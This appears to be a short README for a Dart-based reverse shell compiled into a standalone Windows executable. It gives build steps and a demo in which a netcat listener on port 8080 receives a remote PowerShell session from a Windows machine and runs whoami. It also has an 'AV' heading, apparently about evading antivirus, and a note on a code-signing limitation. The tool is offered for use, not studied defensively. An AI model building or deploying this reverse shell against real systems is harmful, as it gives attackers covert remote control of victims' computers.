portable dart based reverse shell (self-contained executable)
Build
root@kali:/opt/dartrs# apt-get install dart
Usage
create a self-contained binary. (cross compilation is not support by dart2native yet)
C:\Users\IEUser\Desktop\dart2native dartrs.dart
Generated: c:/users/ieuser/desktop/dartrs.exe
root@WOPR-KALI:~# nc -lvp 8080
listening on [any] 8080 ...
connect to [192.168.1.99] from WOPR-KALI [192.168.1.99] 33474
whoami
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\IEUser\Desktop> whoami
msedgewin10\ieuser
AV
Limitations
Code signing issue. (dart-lang/sdk#39106)
Enjoy~